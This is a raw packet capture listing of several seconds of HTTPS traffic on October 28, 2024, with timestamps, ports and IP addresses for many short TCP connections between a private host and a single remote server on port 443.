Oct 28, 2024 19:12:58.686115980 CET	59243	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:58.686131001 CET	443	59243	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:58.686703920 CET	59243	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:58.686711073 CET	443	59243	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:58.686886072 CET	59242	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:58.686956882 CET	443	59242	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:58.687333107 CET	59242	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:58.687345982 CET	443	59242	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:58.731672049 CET	443	59240	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:58.731714010 CET	443	59240	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:58.731772900 CET	443	59240	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:58.731863022 CET	59240	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:58.732007027 CET	59240	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:58.733242035 CET	59240	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:58.733283997 CET	443	59240	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:58.740097046 CET	59245	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:58.740139008 CET	443	59245	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:58.740330935 CET	59245	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:58.740747929 CET	59245	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:58.740756989 CET	443	59245	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:58.796487093 CET	443	59241	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:58.796576023 CET	443	59241	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:58.796641111 CET	59241	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:58.796833038 CET	59241	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:58.796858072 CET	443	59241	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:58.796878099 CET	59241	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:58.796889067 CET	443	59241	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:58.801733017 CET	59246	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:58.801786900 CET	443	59246	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:58.801897049 CET	59246	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:58.802167892 CET	59246	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:58.802186966 CET	443	59246	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:58.820755005 CET	443	59243	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:58.820785999 CET	443	59243	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:58.820830107 CET	443	59243	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:58.820833921 CET	59243	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:58.820888042 CET	59243	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:58.824573994 CET	443	59242	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:58.824687004 CET	443	59242	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:58.824887991 CET	59242	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:58.826524973 CET	59243	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:58.826546907 CET	443	59243	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:58.826559067 CET	59243	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:58.826565027 CET	443	59243	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:58.849009991 CET	59242	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:58.849040031 CET	443	59242	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:58.849083900 CET	59242	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:58.849092007 CET	443	59242	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:58.899740934 CET	59247	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:58.899791002 CET	443	59247	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:58.899856091 CET	59247	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:58.902254105 CET	59248	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:58.902282000 CET	443	59248	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:58.902344942 CET	59248	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:58.927228928 CET	59247	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:58.927258015 CET	443	59247	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:58.927444935 CET	59248	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:58.927465916 CET	443	59248	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:59.431121111 CET	443	59244	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:59.431629896 CET	59244	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:59.431654930 CET	443	59244	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:59.432318926 CET	59244	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:59.432323933 CET	443	59244	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:59.495673895 CET	443	59245	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:59.541327000 CET	59245	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:59.561332941 CET	59245	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:59.561357975 CET	443	59245	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:59.569401026 CET	443	59244	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:59.569818020 CET	443	59244	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:59.569896936 CET	59244	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:59.581073046 CET	59245	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:59.581083059 CET	443	59245	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:59.591290951 CET	59244	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:59.591310024 CET	443	59244	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:59.591326952 CET	59244	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:59.591331959 CET	443	59244	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:59.597851038 CET	443	59246	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:59.600070000 CET	59246	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:59.600076914 CET	443	59246	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:59.604202986 CET	59246	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:59.604207039 CET	443	59246	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:59.620783091 CET	59249	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:59.620827913 CET	443	59249	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:59.620914936 CET	59249	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:59.621038914 CET	59249	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:59.621052980 CET	443	59249	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:59.674108982 CET	443	59247	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:59.694843054 CET	59247	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:59.694864035 CET	443	59247	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:59.698718071 CET	59247	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:59.698724985 CET	443	59247	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:59.713597059 CET	443	59245	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:59.713663101 CET	443	59245	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:59.713735104 CET	59245	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:59.714622021 CET	59245	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:59.714622021 CET	59245	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:59.714641094 CET	443	59245	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:59.714648962 CET	443	59245	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:59.720768929 CET	443	59248	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:59.722965956 CET	59248	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:59.722990036 CET	443	59248	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:59.726941109 CET	59248	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:59.726946115 CET	443	59248	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:59.737426996 CET	59250	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:59.737471104 CET	443	59250	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:59.737642050 CET	59250	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:59.737987995 CET	59250	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:59.738001108 CET	443	59250	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:59.763184071 CET	443	59246	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:59.763223886 CET	443	59246	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:59.763279915 CET	443	59246	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:59.763286114 CET	59246	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:59.763328075 CET	59246	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:59.773192883 CET	59246	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:59.773216963 CET	443	59246	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:59.773258924 CET	59246	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:59.773263931 CET	443	59246	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:59.782289028 CET	59251	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:59.782346010 CET	443	59251	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:59.782424927 CET	59251	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:59.783257961 CET	59251	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:59.783273935 CET	443	59251	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:59.830713987 CET	443	59247	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:59.830817938 CET	443	59247	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:59.830918074 CET	59247	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:59.831242085 CET	59247	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:59.831269026 CET	443	59247	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:59.831284046 CET	59247	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:59.831291914 CET	443	59247	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:59.841283083 CET	59252	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:59.841327906 CET	443	59252	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:59.843024969 CET	59252	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:59.843642950 CET	59252	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:59.843657970 CET	443	59252	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:59.867842913 CET	443	59248	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:59.867882013 CET	443	59248	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:59.867934942 CET	59248	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:59.867943048 CET	443	59248	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:59.867988110 CET	59248	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:59.868284941 CET	59248	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:59.868309975 CET	443	59248	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:59.874236107 CET	59253	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:59.874275923 CET	443	59253	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:59.874372959 CET	59253	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:59.874620914 CET	59253	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:59.874634027 CET	443	59253	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:00.417901039 CET	443	59249	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:00.418673992 CET	59249	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:00.418732882 CET	443	59249	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:00.419214964 CET	59249	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:00.419228077 CET	443	59249	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:00.497392893 CET	443	59250	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:00.497937918 CET	59250	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:00.497953892 CET	443	59250	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:00.498452902 CET	59250	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:00.498461962 CET	443	59250	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:00.541732073 CET	443	59251	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:00.542278051 CET	59251	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:00.542310953 CET	443	59251	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:00.542747974 CET	59251	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:00.542753935 CET	443	59251	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:00.559381008 CET	443	59249	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:00.559547901 CET	443	59249	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:00.559647083 CET	59249	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:00.559915066 CET	59249	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:00.559958935 CET	443	59249	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:00.559988976 CET	59249	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:00.560005903 CET	443	59249	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:00.562838078 CET	59255	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:00.562874079 CET	443	59255	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:00.562939882 CET	59255	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:00.563143015 CET	59255	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:00.563157082 CET	443	59255	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:00.605123997 CET	443	59252	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:00.605671883 CET	59252	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:00.605700016 CET	443	59252	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:00.606141090 CET	59252	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:00.606151104 CET	443	59252	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:00.634084940 CET	443	59250	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:00.634195089 CET	443	59250	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:00.634248018 CET	59250	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:00.634394884 CET	59250	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:00.634417057 CET	443	59250	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:00.634429932 CET	59250	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:00.634438038 CET	443	59250	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:00.637252092 CET	443	59253	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:00.637691021 CET	59253	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:00.637727976 CET	443	59253	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:00.637759924 CET	59256	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:00.637792110 CET	443	59256	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:00.637933969 CET	59256	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:00.638263941 CET	59256	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:00.638276100 CET	443	59256	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:00.638277054 CET	59253	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:00.638289928 CET	443	59253	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:00.683387041 CET	443	59251	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:00.683487892 CET	443	59251	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:00.683542967 CET	59251	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:00.683789015 CET	59251	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:00.683815002 CET	443	59251	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:00.683834076 CET	59251	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:00.683850050 CET	443	59251	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:00.687072992 CET	59257	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:00.687115908 CET	443	59257	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:00.687189102 CET	59257	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:00.687397003 CET	59257	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:00.687410116 CET	443	59257	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:00.766710043 CET	443	59252	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:00.766757011 CET	443	59252	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:00.766818047 CET	59252	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:00.766829967 CET	443	59252	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:00.766902924 CET	59252	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:00.767144918 CET	59252	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:00.767165899 CET	443	59252	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:00.767177105 CET	59252	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:00.767183065 CET	443	59252	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:00.771614075 CET	59258	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:00.771648884 CET	443	59258	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:00.771730900 CET	59258	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:00.771878004 CET	59258	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:00.771888018 CET	443	59258	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:00.777411938 CET	443	59253	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:00.777481079 CET	443	59253	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:00.777535915 CET	59253	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:00.777702093 CET	59253	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:00.777729988 CET	443	59253	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:00.777740955 CET	59253	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:00.777745962 CET	443	59253	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:00.780524969 CET	59259	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:00.780559063 CET	443	59259	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:00.780620098 CET	59259	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:00.780802011 CET	59259	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:00.780813932 CET	443	59259	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:01.332396030 CET	443	59255	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:01.332963943 CET	59255	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:01.332983971 CET	443	59255	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:01.334975958 CET	59255	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:01.334980965 CET	443	59255	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:01.406058073 CET	443	59256	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:01.407130957 CET	59256	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:01.407150030 CET	443	59256	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:01.409012079 CET	59256	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:01.409018040 CET	443	59256	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:01.431969881 CET	443	59257	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:01.432416916 CET	59257	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:01.432450056 CET	443	59257	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:01.432842970 CET	59257	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:01.432852983 CET	443	59257	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:01.474093914 CET	443	59255	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:01.474121094 CET	443	59255	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:01.474165916 CET	443	59255	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:01.474194050 CET	59255	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:01.474235058 CET	59255	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:01.474494934 CET	59255	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:01.474513054 CET	443	59255	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:01.474544048 CET	59255	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:01.474549055 CET	443	59255	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:01.477508068 CET	59260	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:01.477541924 CET	443	59260	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:01.477998972 CET	59260	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:01.477998972 CET	59260	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:01.478033066 CET	443	59260	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:01.545209885 CET	443	59259	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:01.546125889 CET	443	59256	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:01.546153069 CET	59259	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:01.546186924 CET	443	59259	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:01.546303034 CET	59259	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:01.546310902 CET	443	59259	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:01.546413898 CET	443	59256	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:01.546526909 CET	59256	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:01.546526909 CET	59256	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:01.546581030 CET	59256	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:01.546591997 CET	443	59256	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:01.549283028 CET	59261	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:01.549374104 CET	443	59261	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:01.549510002 CET	59261	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:01.549612045 CET	59261	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:01.549634933 CET	443	59261	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:01.552433014 CET	443	59258	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:01.553139925 CET	59258	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:01.553139925 CET	59258	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:01.553148985 CET	443	59258	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:01.553162098 CET	443	59258	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:01.570194006 CET	443	59257	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:01.570291042 CET	443	59257	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:01.570396900 CET	443	59257	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:01.570535898 CET	59257	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:01.570535898 CET	59257	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:01.570591927 CET	59257	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:01.570611000 CET	443	59257	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:01.606983900 CET	59262	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:01.607006073 CET	443	59262	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:01.607134104 CET	59262	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:01.607774019 CET	59262	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:01.607791901 CET	443	59262	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:01.684509039 CET	443	59259	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:01.684592009 CET	443	59259	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:01.684678078 CET	59259	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:01.684906960 CET	59259	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:01.684906960 CET	59259	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:01.684931993 CET	443	59259	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:01.684946060 CET	443	59259	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:01.688163042 CET	59263	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:01.688215017 CET	443	59263	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:01.688400030 CET	59263	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:01.688808918 CET	59263	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:01.688829899 CET	443	59263	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:01.692626953 CET	443	59258	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:01.692792892 CET	443	59258	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:01.693062067 CET	59258	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:01.693229914 CET	59258	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:01.693229914 CET	59258	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:01.693243027 CET	443	59258	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:01.693250895 CET	443	59258	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:01.698972940 CET	59264	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:01.698992014 CET	443	59264	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:01.702066898 CET	59264	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:01.702179909 CET	59264	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:01.702188969 CET	443	59264	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:02.235833883 CET	443	59260	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:02.242974997 CET	59260	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:02.242995977 CET	443	59260	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:02.246974945 CET	59260	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:02.246978998 CET	443	59260	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:02.299069881 CET	443	59261	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:02.301130056 CET	59261	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:02.301172972 CET	443	59261	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:02.305360079 CET	59261	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:02.305383921 CET	443	59261	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:02.356184959 CET	443	59262	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:02.381896973 CET	443	59260	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:02.382071018 CET	443	59260	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:02.382143021 CET	59260	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:02.400850058 CET	59262	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:02.437932968 CET	443	59261	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:02.438029051 CET	443	59261	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:02.438076973 CET	443	59261	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:02.438092947 CET	59261	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:02.438137054 CET	59261	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:02.456828117 CET	443	59263	13.107.253.45	192.168.2.4
